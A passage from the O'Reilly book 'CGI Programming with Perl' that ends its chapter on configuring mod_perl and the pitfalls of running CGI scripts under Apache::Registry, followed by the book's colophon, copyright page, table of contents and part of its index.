PerlRequire      /usr/local/apache/conf/startup.pl
PerlTaintCheck   On
PerlWarn         On

Alias /perl/ /usr/local/apache/perl/

<Location /perl>
SetHandler       perl-script
PerlSendHeader   On
PerlHandler      Apache::Registry
Options          ExecCGI
</Location>

As you can see, this is very similar to the manner in which we configured FastCGI. We use the PerlRequire directive to execute a startup script. Generally, this is where you would pre-load all the modules that you intend to use (see Example 17-3).

However, if you are interested in loading only a small set of modules (a limit of ten), you can use the PerlModule directive instead:

PerlModule  CGI  DB_File  MLDBM  Storable

For Apache::Registry to honor taint mode and warnings, we must add directive the PerlTaintMode and PerlWarn directives. Otherwise, they won't be enabled. We do this globally. Then we configure the directory we are setting up to run our scripts.

All requests for resources in the /perl directory go through the perl-script (mod_perl) handler, which then passes the request off to the Apache::Registry module. We also need to enable the ExecCGI option. Otherwise, Apache::Registry will not execute our CGI applications.

Now, here's a sample configuration file in Example 17-3.

Example 17-3. startup.pl

#!/usr/bin/perl -wT

use Apache::Registry;

use CGI;

## any other modules that you may need for your
## other mod_perl applications running ...

print "Finished loading modules. Apache is ready to go!\n";

1;

It is really a very simple program, which does nothing but load the modules. We also want Apache::Registry to be pre-loaded since it'll be handling all of our requests. A thing to note here is that each of Apache's child processes will have access to these modules.

If we do not load a module at startup, but use it in our applications, then that module will have to be loaded once for each child process. The same applies for our CGI applications running under Apache::Registry. Each child process compiles and caches the CGI application once, so the first request that is handled by that child will be relatively slow, but all subsequent requests will be much faster.

17.3.2. mod_perl Considerations

In general, Apache::Registry, does provide a good emulation of a standard CGI environment. However, there are some differences you need to keep in mind:

  • The same precautions that apply to FastCGI apply to mod_perl, namely, always use strict mode and it helps to enable warnings. You should also always initialize your variables and not assume they are empty when your script starts; the warning flag will tell you when you are using undefined values. Your environment is not cleaned up with you when your script ends, so variables that do not go out of scope and global variables remain defined the next time your script is called.

  • Due to the fact that your code is only compiled once and then cached, lexical variables in the body of your scripts that you access within your subroutines create closures. For example, it is possible to do this in a standard CGI script:

    my $q = new CGI;

check_input(  );
.
.

sub check_input {
    unless ( $q->param( "email" ) ) {
        error( $q, "You didn't supply an email address." );
    }
    .
    .

    Note that we do not pass our CGI object to check_input . However, the variable is still visible to us from within that subroutine. This works fine in CGI. It will create very subtle, confusing errors in mod_perl. The problem is that the first time the script is run on a particular Apache child process, the value of the CGI object becomes trapped in the cached copy of check_input. All future calls to that same Apache child process will reuse the original value of the CGI object within check_input. The solution is to pass $q to check_input as a parameter or else change $q from a lexical to a global local variable.

    If you are not familiar with closures (they are not commonly used in Perl), refer to the perlsub manpage or Programming Perl.

  • The constant module creates constants by defining them internally as subroutines. Since Apache::Registry creates a persistent environment, using constants in this manner can produce the following warnings in the error log when these scripts are recompiled:

    Constant subroutine FILENAME redefined at ...

    It will not affect the output of your scripts, so you can just ignore these warnings. Another alternative is to simply make them global variables instead; the closure issue is not an problem for variables whose values never change. This warning should no longer appear for unmodified code in Perl 5.004_05 and higher.

  • Regular expressions that are compiled with the o flag will remain compiled across all requests for that script, not just for one request.

  • File age functions, such as -M, calculate their values relative to the time the application began, but with mod_perl, that is typically the time the server begins. You can get this value from $^T . Thus adding (time - $^T) to the age of a file will yield the true age.

  • BEGIN blocks are executed once when your script is compiled, not at the beginning of each request. However, END blocks are executed at the end of each request, so you can use these as you normally would.

  • __END__ and __DATA__ cannot be used within CGI scripts with Apache::Registry. They will cause your scripts to fail.

  • Typically, your scripts should not call exit in mod_perl, or it will cause Apache to exit instead (remember, the Perl interpreter is embedded within the web server). However, Apache::Registry overrides the standard exit command so it is safe for these scripts.

If it's too much of a hassle to convert your application to run effectively under Apache::Registry, then you should investigate the Apache::PerlRun module. This module uses the Perl interpreter embedded within Apache, but doesn't cache compiled versions of your code. As a result, it can run sloppy CGI scripts, but without the full performance improvement of Apache::Registry. It will, nonetheless, be faster than a typical CGI application.

Increasing the speed of CGI scripts is only part of what mod_perl can do. It also allows you do write code in Perl that interacts with the Apache response cycle, so you can do things like handle authentication and authorization yourself. A full discussion of mod_perl is certainly beyond the scope of this book. If you want to learn more about mod_perl, then you should definitely start with Stas Bekman's mod_perl guide, available at http://perl.apache.org/guide/. Then look at Writing Apache Modules with Perl and C, which provides a very thorough, although technical, overview of mod_perl.

Previous | Home | Next
17.2. FastCGI | Book Index | A. Works Cited and Further Reading
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Colophon (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Colophon

Our look is the result of reader comments, our own experimentation, and feedback from distribution channels. Distinctive covers complement our distinctive approach to technical topics, breathing personality and life into potentially dry subjects.

The animal featured on the cover of CGI Programming with Perl, Second Edition, is a mouse, a rodent of the family Muridae. True, or long-tailed, mice belong to the youngest group in the animal kingdom, approximately 15 million years old. Over 200 species of mice exist, but the most common is the house mouse. The house mouse is the second most widely distributed mammal on Earth, behind only humans. Despite their name, house mice often live in fields, but they usually live near human dwellings. House mice eat almost anything, but they prefer grains and grain products.

Mice reach sexual maturity at two to three months of age. After a gestation period of 20 to 21 days, they deliver a litter averaging six blind, bald, helpless babies. House-dwelling mice can bear young continually, but if overpopulation becomes a problem some female mice will remain infertile.

Mice are often considered to be pests, or worse. They can cause serious crop damage, as well as food contamination. In addition, mice can carry viral, bacterial, and parasitic disease. Despite all this, mice were worshipped in parts of Asia Minor and Greece in ancient times. Today, mice continue to hold an important part in popular culture, often appearing as the heroes of cartoons and books that are ostensibly intended for children, such as Stuart Little, Pinky and the Brain, and, of course, Mickey Mouse.

Nicole Arigo was the production editor and copyeditor for CGI Programming with Perl, Second Edition . Emily Quill proofread the book. Melanie Wang, Mary Anne Weeks Mayo, and Jane Ellin provided quality control. Ellen Troutman Zaig wrote the index.

Edie Freedman designed the cover of this book, using a 19th-century engraving from the Dover Pictorial Archive. Emma Colby produced the cover layout with QuarkXPress 4.1 using Adobe's ITC Garamond font.

Alicia Cech and David Futato designed the interior layout based on a series design by Nancy Priest. Mike Sierra implemented the design in FrameMaker 5.5.6. The text and heading fonts are ITC Garamond Light and Garamond Book. The illustrations that appear in the book were produced by Robert Romano and Rhon Porter using Macromedia FreeHand 8 and Adobe Photoshop 5. This colophon was written by Clairemarie Fisher O'Leary.

Previous | Home
Index | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


(CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Copyright © 2000, 1996 O'Reilly & Associates, Inc. All rights reserved.

Printed in the United States of America.

Published by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472.

Java [image] and all Java-based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc., in the United States and other countries. O'Reilly & Associates, Inc., is independent of Sun Microsystems.

The O'Reilly logo is a registered trademark of O'Reilly & Associates, Inc. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps. The use of the mouse image in association with the topic of CGI Programming is a trademark of O'Reilly & Associates, Inc.

While every precaution has been taken in the preparation of this book, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Previous | Home | Next
Table of Contents | Book Index | 0. Preface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CGI Programming with Perl

By Scott Guelich, Shishir Gundavaram and Gunther Birznieks
ISBN 1-56592-419-3
Second Edition, published July 2000
(See the catalog page for this book.)

Search the text of CGI Programming with Perl.

Table of Contents

Copyright Page
Preface
Chapter 1: Getting Started
Chapter 2: The Hypertext Transport Protocol
Chapter 3: The Common Gateway Interface
Chapter 4: Forms and CGI
Chapter 5: CGI.pm
Chapter 6: HTML Templates
Chapter 7: JavaScript
Chapter 8: Security
Chapter 9: Sending Email
Chapter 10: Data Persistence
Chapter 11: Maintaining State
Chapter 12: Searching the Web Server
Chapter 13: Creating Graphics on the Fly
Chapter 14: Middleware and XML
Chapter 15: Debugging CGI Applications
Chapter 16: Guidelines for Better CGI Applications
Chapter 17: Efficiency and Optimization
Appendix A: Works Cited and Further Reading
Appendix B: Perl Modules
Index
Colophon

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: CGI Programming with Perl (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Previous | Home | Next
B. Perl Modules | Book Index | Colophon
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: 0 (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: 0

Numbers

200 OK status code: 3.3.1.3. Specifying status codes
204 No Response status code: 3.3.1.3. Specifying status codes
301 Moved Permanently status code: 3.3.1.3. Specifying status codes
302 Found status header: 3.3.1.3. Specifying status codes
307 Temporary Redirect status code: 3.3.1.3. Specifying status codes
400 Bad Request status code: 3.3.1.3. Specifying status codes
401 Unauthorized status code: 3.3.1.3. Specifying status codes
403 Forbidden status code: 3.3.1.3. Specifying status codes
404 Not Found status code: 3.3.1.3. Specifying status codes
405 Not Allowed status code: 3.3.1.3. Specifying status codes
408 Request Timed Out status code: 3.3.1.3. Specifying status codes
500 Internal Server Error: 3.1.1.3. STDERR
3.3. CGI Output
5.5.1. Dying Gracefully
CGI::Carp and: 5.5.2. CGI::Carp
die function and: 15.2.4. Trap die
HTTP header printing and: 5.5.3. Error Subroutines
malformed HTTP content type headers, causing: 15.1.4. "Malformed" Header
status header: 3.3.1.3. Specifying status codes
503 Service Unavailable: 3.3.1.3. Specifying status codes
504 Gateway Timed Out status code: 3.3.1.3. Specifying status codes

Symbols

* (asterisk) symbol (quantity identifier), XML elements: 14.3. Document Type Definition
\ (backslash)
double quotes in HTML, escaping with: 5.4.1. Lots of print Statements
escaping @ prefix with: 13.5.4. Image Processing
escaping characters with: 10.1.4. Delimiters
[] (brackets): 6.4.2.1. Embperl code blocks
6.4.2.1. Embperl code blocks
16.2. Coding Guidelines
*/* (media types): 2.6.1. Media Type
% (percent sign)
hashes, use of: 12.3.1. Search Application
URL encoding: 2.1.1. Elements of a URL
for date/time format: 6.2.4. Tailoring SSI Output
+ (plus sign)
encoding spaces in URLs: 2.1.3. URL Encoding
keywords, separating in queries: 5.2.2.3. Index queries
URL encoding: 2.1.1. Elements of a URL
XML elements: 14.3. Document Type Definition
#! (pound-bang) line, CGI applications: 15.1.2. The Pound-Bang
# (pound sign) in server side includes: 6.2.7. Common Errors
@ prefix, escaping with backslash (\\\\) character: 13.5.4. Image Processing
? (question mark) in place of * in XML elements: 14.3. Document Type Definition
~! (tilde escapes), mailx and mail programs: 9.5. mailx and mail
%attributes, hash table of attributes declared inside XML element: 14.5. CGI Gateway to XML Middleware
$CGI variable: 10.4.2.2. Address book CGI script
determining flow of control through CGI script: 10.4.2.2. Address book CGI script
$CGI::HEADERS_ONCE variable: 5.5.3. Error Subroutines
$CGI::POST_MAX: 5.2.4. File Uploads with CGI.pm
limiting user shopping carts with: 11.2. Hidden Fields
$db, using: 10.2.1. DB_File
$element, start element name (XML): 14.5. CGI Gateway to XML Middleware
$expat, reference to XML::Parser object: 14.5. CGI Gateway to XML Middleware
<!--# directives (see Server Side Includes)
#PCDATA: 14.3. Document Type Definition
$q prefix CGI.pm module: 5.1.3. Standard and Object-Oriented Syntax
@related, references to related URLs: 14.5. CGI Gateway to XML Middleware
#REQUIRED keyword, XML documents: 14.3. Document Type Definition
@subrelated, URLs related to first-level URL: 14.5. CGI Gateway to XML Middleware

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: A (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: A

absolute URLs: 2.1.2. Absolute and Relative URLs
2.1.2. Absolute and Relative URLs
redirecting to: 3.3.1.2. Forwarding to another URL
Accept header: 2.3.2.6. Accept
3.4.1. Check the Client Browser
list, HTTP media types in: 2.6.1. Media Type
media types, checking for: 13.5.2. Converting PNGs to GIFs or JPEGs
Accept-Language and Accept-Charset headers: 2.6.2. Internationalization
Accept method (CGI.pm): 5.2.1.1. Accept
accepting commands (forms): 4. Forms and CGI
access counters: 6.2.6. Executing CGI Programs
access.conf file (Apache), configuring to execute CGI application with user requests: 11.1. Query Strings and Extra Path Information
ACTION attribute: 4.2.2. The <FORM> Tag
ActiveState
Perl debugger: 15.3.5.3. ActiveState Perl debugger
Perl Development Kit (PDK), downloading: 15.3.5.3. ActiveState Perl debugger
PerlEx module: 17. Efficiency and Optimization
PPM (Perl Package Manager), using: 10.4.1. Using DBI
release of Perl on Win32: B.1.1. Installing Modules
address book, DBI (example): 10.4.2. DBI Address Book
address table, creating: 10.4.2.1. Address book database creation script
CGI script, querying and modifying data in: 10.4.2.2. Address book CGI script
address specification (email addresses): 9.2.1. Validating Syntax
addresses, email: 9.2. Email Addresses
validating syntax: 9.2.1. Validating Syntax
AddType directive, adding to httpd.conf: 6.2.1. Configuration
Adobe, Portable Document Format (PDF): 13.1.4. PDF
age of files, considerations with mod_perl use: 17.3.2. mod_perl Considerations
algorithms
automatic stemming (or removal) of word suffixes: 12.3. Inverted Index Search
data compression
lossy, use with JPEG format: 13.1.3. JPEG
LZW compression algorithm: 13.1.1. GIF
PNG images: 13.1.2. PNG
decoding form data: 4.3. Decoding Form Input
hash algorithms: 8.3. Encryption
random images, selecting: 13.2.1. An Example
random lines in text files, selecting: 13.2.1. An Example
aliases for exported symbols in Perl: 5.1.3. Standard and Object-Oriented Syntax
aligning text: 13.4.1.1. GD::Text::Align
Allaire ColdFusion language: 1.3.2. Alternatives to CGI
alternative target, specifying for document updates: 5.3.1.4. Specifying an alternative target
ampersand ( & )
appending data with: 4.3. Decoding Form Input
between name/value pairs: 2.1.1. Elements of a URL
joining key-value pairs: 4.1. Sending Data to the Server
separating name-value pairs: 4.3. Decoding Form Input
ampersand (&)
Devel::SawAmpersand module: 17.1.10. Regular Expressions
anchor tags as fragment identifiers (HTML documents): 2.1.1. Elements of a URL
animation, image file formats supporting: 13.1.1. GIF
anonymous temporary files: 10.1.3.1. Anonymous temporary files
Apache web server
access configuration file, editing: 11.1. Query Strings and Extra Path Information
buffering output to client: 3.1.1.2. STDOUT
configuring for Perl and CGI: 1.4. Web Server Configuration
error log, location of: 15.3.2. Check Error Logs
FastCGI, installing with: 17.2.1. Installing FastCGI
htpasswd utility: 2.3.2.4. Authorization
mod_perl: 1.3.2. Alternatives to CGI
17.3. mod_perl
installation and configuration: 17.3.1. Installation and Configuration
issues with using: 17.3.2. mod_perl Considerations
mod_unique_id module, using: 11.1. Query Strings and Extra Path Information
nph scripts, output buffering and: 3.3.2. Complete (Non-Parsed) Headers
PHP language, supporting: 1.3.2. Alternatives to CGI
Apache::PerlRun module: 17.3.2. mod_perl Considerations
Apache::Registry module: 17.3. mod_perl
configuring to honor taint mode and warnings: 17.3.1. Installation and Configuration
applications
business rules, separation from interface: 6.4. Embperl
CGI, debugging: 15. Debugging CGI Applications
external
calling: 8.2.1. Calling External Applications
executing: 6.2.1. Configuration
state, maintaining between multiple form invocations: 11.2. Hidden Fields
application/x-www-form-urlencoded (HTML forms): 4.1. Sending Data to the Server
architectural guidelines, CGI programs: 16.1. Architectural Guidelines
configuration by file name extensions: 1.4.1.2. Configuring by extension
configuration, separate from primary code: 16.1.4. Separate Configuration from Your Primary Code
directories, organizing projects with: 16.1.2. Use Directories to Organize Your Projects
display, separating from primary code: 16.1.5. Separating Display from Your Primary Code
growth, planning for: 16.1.1. Plan for Future Growth
relative URLs, using: 16.1.3. Use Relative URLs
scripts, number per application: 16.1.7. Number of Scripts per Application
storage, separating from primary code: 16.1.6. Separating Storage from Your Primary Code
submit buttons, controlling flow with: 16.1.8. Using Submit Buttons to Control Flow
area charts, creating with GD::Graph::area module: 13.4.2. GD::Graph
area_graph function: 13.3.2. Using GD
array context, calling subroutines in: 4.3. Decoding Form Input
arrays
array indices, building tables: 6.4.3.1. Tables
fetching rows returned as field arrays: 10.4.1.3. Database querying
of hashes for loops: 6.3.1.1. Loops
6.3.1.1. Loops
references to
distributing tags around: 11.2. Hidden Fields
passing as arguments to CGI.pm methods: 5.3.3. Standard HTML Elements
related and second-level related URLs: 14.5. CGI Gateway to XML Middleware
undefining vs. equating to null list: 17.1.5. undef Versus ( )
ASCII character set, URL encoding: 2.1.3. URL Encoding
ASP (Active Server Pages): 1.3.2. Alternatives to CGI
attributes
checkboxes: 4.2.3.4. Checkboxes
hidden fields: 4.2.3.3. Hidden fields
HTML elements, interpreting hash elements as: 5.3.3. Standard HTML Elements
image buttons: 4.2.3.8. Image buttons
NAME: 6.3.1. Syntax
6.3.1.2. Conditionals
onChange handler, adding as element: 7.2.1.2. Validating submits
password fields: 4.2.3.2. Password fields
plain buttons: 4.2.3.9. Plain buttons
radio buttons: 4.2.3.5. Radio buttons
reset buttons: 4.2.3.7. Reset buttons
SSI: 6.2.2. Format
file vs. virtual attribute, using: 6.2.5. Including Boilerplates
var attribute: 6.2.3. Environment Variables
tag: 4.2.2. The <FORM> Tag
4.2.3. The <INPUT> Tag
4.2.4.1. The <OPTION> tag
4.2.5. The <TEXTAREA> Tag
tag, specifying source for: 5.3.2.1. start_html
text fields: 4.2.3.1. Text fields
XML elements: 14.3. Document Type Definition
authentication
Authentication header: 2.3.2. Request Header Field Lines
authorization vs.: 2.3.2.4. Authorization
users, script for: 3.4.2. User Authentication and Identification
WWW-Authorization field and: 2.4.2.10. WWW-Authenticate
Authorization field: 2.3.2.4. Authorization
autohandlers, modifying component output with (Mason): 6.5.1. A Component Approach
automatic status code additions by servers: 3.3.1.3. Specifying status codes
autoreply from nobody to all incoming messages: 9.7.1. Autoreply from nobody
autouse feature: 17.1.7. autouse

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: B (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: B

backslash (\)
@ prefix, escaping with: 13.5.4. Image Processing
escaping characters with: 10.1.4. Delimiters
escaping double quotes in HTML: 5.4.1. Lots of print Statements
backup files (source code), security risks with: 1.4.1.2. Configuring by extension
bar charts
creating with GD::Graph::bars module: 13.4.2. GD::Graph
three-dimensional: 13.4.3. GD::Graph3D
bareword subroutines, strict vs.: 15.2.1. Use strict
Base64 format digests: 8.3.1. MD5
Bcc field (blind carbon-copy): 9.3. Structure of Internet Email
9.4.2. Mail Queue
BEGIN blocks
mod_perl, treatment of: 17.3.2. mod_perl Considerations
taint mode and: 13.3.2. Using GD
benchmarking code, Perl CGI scripts: 17.1.1. Benchmark Your Code
Benchmark module, testing script speed in taint mode: 8.4.4. Why Use Taint Mode?
Berkeley DB files: 10.2. DBM Files
hash file (servers), counting visitors to HTML pages: 6.2.6. Executing CGI Programs
binary data
binmode function: 13.5.4. Image Processing
avoiding bugs with use of: 15.2.7. Use binmode
enabling binary mode with: 5.2.4. File Uploads with CGI.pm
operating systems not using newlines: 3.4.1. Check the Client Browser
using for output: 13.2.1.1. binmode
digests: 8.3.1. MD5
files, filtering out with grep function: 12.2. Searching One by One, Take Two
body
HTTP requests/responses: 2.2.1. The Request and Response Cycle
HTTP responses
length of: 2.4.2.2. Content-Length
separating from header: 3.3.1.1. Outputting documents
Internet email messages: 9.3. Structure of Internet Email
boilerplates: 6.2.5. Including Boilerplates
bookmarklets, JavaScript: 7.4. Bookmarklets
CGI scripts, using with: 7.4.2. Bookmarklets and CGI
comments.cgi script, bookmarklet: 7.4.2. Bookmarklets and CGI
creating (example): 7.4.1. Bookmarklet Basics
Netscape Communicator, working with: 7.4.1. Bookmarklet Basics
web page for: 7.4.2. Bookmarklets and CGI
booleans, perl treatment of: 1.3.1. Why Perl?
brackets ([]): 6.4.2.1. Embperl code blocks
blocks of code, enclosing in Embperl: 6.4.2.1. Embperl code blocks
placement in code: 16.2. Coding Guidelines
browsers (see web browsers)
browsing songs available for download (interactive form): 7.3.2. Example
buffering
CGI output, nph scripts and: 3.3.2. Complete (Non-Parsed) Headers
flushing buffers automatically: 14.1.2. IO::Socket
output stream, unbuffering: 15.2.6. Unbuffer Output Stream
output to STDOUT, malformed header errors and: 15.1.4. "Malformed" Header
BUFFER_SIZE: 5.2.4. File Uploads with CGI.pm
business rules, collecting into modules: 6.4. Embperl
buttons: 4.2.3.9. Plain buttons
(see also individual button types)
image buttons: 4.2.3.8. Image buttons
plain buttons: 4.2.3.9. Plain buttons
radio buttons: 4.2.3.5. Radio buttons
reset buttons: 4.2.3.7. Reset buttons
submit buttons: 4.2.3.6. Submit buttons

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: C (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: C

$CGI variable: 10.4.2.2. Address book CGI script
determining flow of control through CGI script: 10.4.2.2. Address book CGI script
$CGI::HEADERS_ONCE variable: 5.5.3. Error Subroutines
$CGI::POST_MAX: 5.2.4. File Uploads with CGI.pm
limiting user shopping carts with: 11.2. Hidden Fields
C language
code in GD module, compiling with gd: 13.3.1. Installation
code in perl modules, compiling problems: B.1.1. Installing Modules
expat library: 14.4. Writing an XML Parser
caching
compiled versions of code
Apache::PerlRun module and: 17.3.2. mod_perl Considerations
Apache::Registry module and: 17.3.2. mod_perl Considerations
DB_CACHE constant: 12.3. Inverted Index Search
disabling with header method: 11.3.2. Testing for Cookies
discouraging with Expires header: 13.2.1. An Example
image hijacking and: 3.4.3. Restricting Image Hijacking
index, specifying size for: 12.3. Inverted Index Search
intermediate proxies, problems with clearing: 2.5.2. Caching
output, CGI scripts: 5.3.1.3. Caching
requests and responses (HTTP)
addressing problems with: 2.4.2.5. ETag
proxies and: 2.5. Proxies
2.5.2. Caching
capitalization
CGI.pm method names: 5.2.1.1. Accept
coding style guide, covering in: 16.2. Coding Guidelines
Carp module (see CGI\\Carp module)
carriage return and newline sequence (CRLF)
differences in operating systems: 3.3.1.1. Outputting documents
HTTP headers: 2.2.2. HTTP Headers
case sensitivity
case-insensitive indexes: 12.3. Inverted Index Search
12.3. Inverted Index Search
case-insensitive searches: 12.1. Searching One by One
forcing for fgrep with -il options: 12.1. Searching One by One
CGI.pm and Perl methods: 5.3.3. Standard HTML Elements
HTTP header fields: 2.2.2. HTTP Headers
JavaScript variables: 7.4.1. Bookmarklet Basics
request methods: 2.3.1. The Request Line
catalog page, shopping cart example: 11.2. Hidden Fields
Cc field (carbon-copy), email messages: 9.3. Structure of Internet Email
certificates (server and browser), information about: 3.2.1. CGI Environment Variables
cgi-bin directory: 1.2. Introduction to CGI
cgi path in URL vs.: 1.4.1.1. Configuring by directory
CGI (Common Gateway Interface): 1. Getting Started
3. The Common Gateway Interface
advantages over alternative technologies: 1.3.2. Alternatives to CGI
alternatives to: 1.3.2. Alternatives to CGI
applications (see programs, CGI)
disallowing execution while enabling exec command: 6.2.1. Configuration
e-commerce, use in: 1.1.1. How CGI Is Used Today
environment: 3. The Common Gateway Interface
environment variables: 3.2. Environment Variables
less common CGI environment variables: 3.2.1. CGI Environment Variables
standard CGI environment variables: 3.2.1. CGI Environment Variables
forms and: 4. Forms and CGI
decoding form input: 4.3. Decoding Form Input
HTML tags: 4.2. Form Tags
sending data to server: 4.1. Sending Data to the Server
history: 1.1. History
Mason module and: 6.5. Mason
middleware: 14. Middleware and XML
communicating with other servers: 14.1. Communicating with Other Servers
consolidating databases other than on Internet: 14. Middleware and XML
NCSA Common Gateway Interface specification: A.4. Other Specifications
output
SSI parsing of: 6.2. Server Side Includes
Perl language, advantages of using: 1.3. Alternative Technologies
PUT and DELETE methods, not using: 2.3.1.1. PUT and DELETE
scripts (see programs, CGI)
web server configuration: 1.4. Web Server Configuration
cgi path in URL: 1.4.1.1. Configuring by directory
CGIBook::Error module, creating (example): 5.5.4. Custom Module
CGIBook::UserTracker module: 11.1. Query Strings and Extra Path Information
CGI::Carp module: 14.5. CGI Gateway to XML Middleware
set_message: 5.5.2. CGI::Carp
trapping fatal calls and redirecting messages to browser: 15.2.4. Trap die
using with fatalsToBrowser: 6.4.5.1. Embperl handler
cgi_error method: 5.2.4. File Uploads with CGI.pm
CGI::Fast module: 17.2. FastCGI
CGI.pm module: 5. CGI.pm
14.5. CGI Gateway to XML Middleware
automatic prompt for form values, versions without: 15.3.3. Running Scripts from the Command Line
editing to use POST and query strings together: 5.2.2.2. POST and the query string
file uploads, disabling: 5.1.1. Denial of Service Attacks
form parameters, prompting for: 15.3.3. Running Scripts from the Command Line
functions of: 5.1.2. The Kitchen Sink
$HEADERS_ONCE variable: 5.5.3. Error Subroutines
input, handling with: 5.2. Handling Input with CGI.pm
Mason module vs.: 6.5.1. A Component Approach
output, generating with: 5.3. Generating Output with CGI.pm
raw_cookie method: 11.3.1. Setting Cookies
script_name method: 14.5. CGI Gateway to XML Middleware
standard and object-oriented syntax: 5.1.3. Standard and Object-Oriented Syntax
CGI::Pretty module: 5.3.3. Standard HTML Elements
character data, XML elements: 14.3. Document Type Definition
character sets
content negotiation and: 2.6. Content Negotiation
internationalization in content negotiation: 2.6.2. Internationalization
characters
allowed in URLs: 2.1.3. URL Encoding
converting hexadecimal values to (chr function): 2.1.3. URL Encoding
encoded, Authorization field: 2.3.2.4. Authorization
nonalphanumeric (parameters names), changing to underscores: 5.2.3. Exporting Parameters to a Namespace
password fields, representing with asterisks or bullets: 4.2.3.2. Password fields
required encoding in URLs: 2.1.3. URL Encoding
special meanings in shells: 8.2.2. User Input and the Shell
URL-encoded: 4.3. Decoding Form Input
Chart::PNGgraph module: 13.4.2. GD::Graph
charts: 13.4.3. GD::Graph3D
(see also graphs; individual chart types)
creating with GD::Graph modules: 13.4.2. GD::Graph
three-dimensional, generating with GD::Graph3D: 13.4.3. GD::Graph3D
checkboxes: 4.2.3.4. Checkboxes
CHECKED attribute: 4.2.3.4. Checkboxes
radio buttons: 4.2.3.5. Radio buttons
checking form data with JavaScript: 7.2.1.1. Validating elements
7.2.1.2. Validating submits
7.2.1.3. Validation example
7.2.1.3. Validation example
checking permissions, CGI programs: 15.1.1. Application Permissions
checking server error logs: 15.3.2. Check Error Logs
checking status of system calls, error prevention and: 15.2.2. Check Status of System Calls
check_input, problems using with mod_perl: 17.3.2. mod_perl Considerations
checkout page, shopping cart example: 11.2. Hidden Fields
check_referer.cgi script (example): 3.4.3. Restricting Image Hijacking
checksums, entity tags and: 2.4.2.5. ETag
child processes
creating with pipe connected: 8.2.4. fork and exec
PID, checking: 15.2.3. Is It Open?
chmod command: 15.1.1. Application Permissions
client browsers (see web browsers)
clients
content negotiation, performing: 2.6. Content Negotiation
creating fully configurable in Perl: 14.1.3. LWP
forbidding access to requested resources: 3.3.1.3. Specifying status codes
identifying: 2.5.1. Identifying Clients
requests: 11. Maintaining State
semi-automonous (JavaScript-enabled web pages): 7.3. Data Exchange
validating data from: 7.2.1.4. Validating twice
client/server, communication between: 14.1. Communicating with Other Servers
closing tags
CGI.pm methods, automatic generation of: 5.3. Generating Output with CGI.pm
HTML elements not having: 5.3.3. Standard HTML Elements
HTML::Template commands: 6.3.1. Syntax
code
blocks of, enclosing with bracket pairs in Embperl: 6.4.2.1. Embperl code blocks
coding guidelines, CGI programs: 16.2. Coding Guidelines
encoding text for URLs: 2.1.3. URL Encoding
Perl, techniques for avoiding bugs: 15.2. Perl Coding Techniques
ColdFusion language: 1.3.2. Alternatives to CGI
collecting data (forms): 4. Forms and CGI
colon-separated list of file ids for index words: 12.3.1. Search Application
color, support by image file formats: 13.1.1. GIF
COLUMNS attribute: 4.2.5. The <TEXTAREA> Tag
comma-delimited flat text file: 10.4.1. Using DBI
command line
arguments, reference to hash of: 12.3. Inverted Index Search
CGI scripts, running from: 15.3.3. Running Scripts from the Command Line
checking Perl syntax for errors from: 15.1.4. "Malformed" Header
debugger (Perl), using from: 15.3.5.1. The Perl debugger
options
sendmail: 9.4.1. Command-Line Options
options, handling with Getopt::Long module: 12.3. Inverted Index Search
commands: 1.2.1. Sample CGI
accepting, forms: 4. Forms and CGI
apachectl command (Apache server): 1.4. Web Server Configuration
chmod (change mode): 15.1.1. Application Permissions
debugging CGI scripts, summary of basic: 15.3.5.1. The Perl debugger
executable files, creating on Unix: 1.2.2. Invoking CGI Scripts
HTML::Template: 6.3.1. Syntax
summary of: 6.3.1. Syntax
locating perl, Unix systems: 15.1.2. The Pound-Bang
ScriptAlias: 1.4.1.1. Configuring by directory
SSI: 6.2. Server Side Includes
syntax: 6.2.2. Format
system
checking status for error prevention: 15.2.2. Check Status of System Calls
grep command: 17.1.8. Avoid the Shell
open command: 15.2.2. Check Status of System Calls
uptime command (Unix): 13.3.2. Using GD
commas, using as delimiters: 10.1.4. Delimiters
comments
for bookmarklets: 7.4.2. Bookmarklets and CGI
bracket pairs, enclosing in Embperl: 6.4.2.1. Embperl code blocks
code, developing guidelines for: 16.2. Coding Guidelines
comment tags, inserting around style sheet code: 5.3.2.1. start_html
in email addresses: 9.2.1. Validating Syntax
HTML::Template commands, formatting as: 6.3.1. Syntax
preceding with # (Apache server): 1.4.1.2. Configuring by extension
comments.cgi script (example): 7.4.2. Bookmarklets and CGI
communicating with other servers: 14.1. Communicating with Other Servers
sockets: 14.1.1. Sockets
commute time (example)
mixed graph of sample daily: 13.4.2. GD::Graph
pie chart of sample daily: 13.4.2. GD::Graph
outputting JPEG if browser doesn't support PNG: 13.5.2. Converting PNGs to GIFs or JPEGs
compatibility with browsers
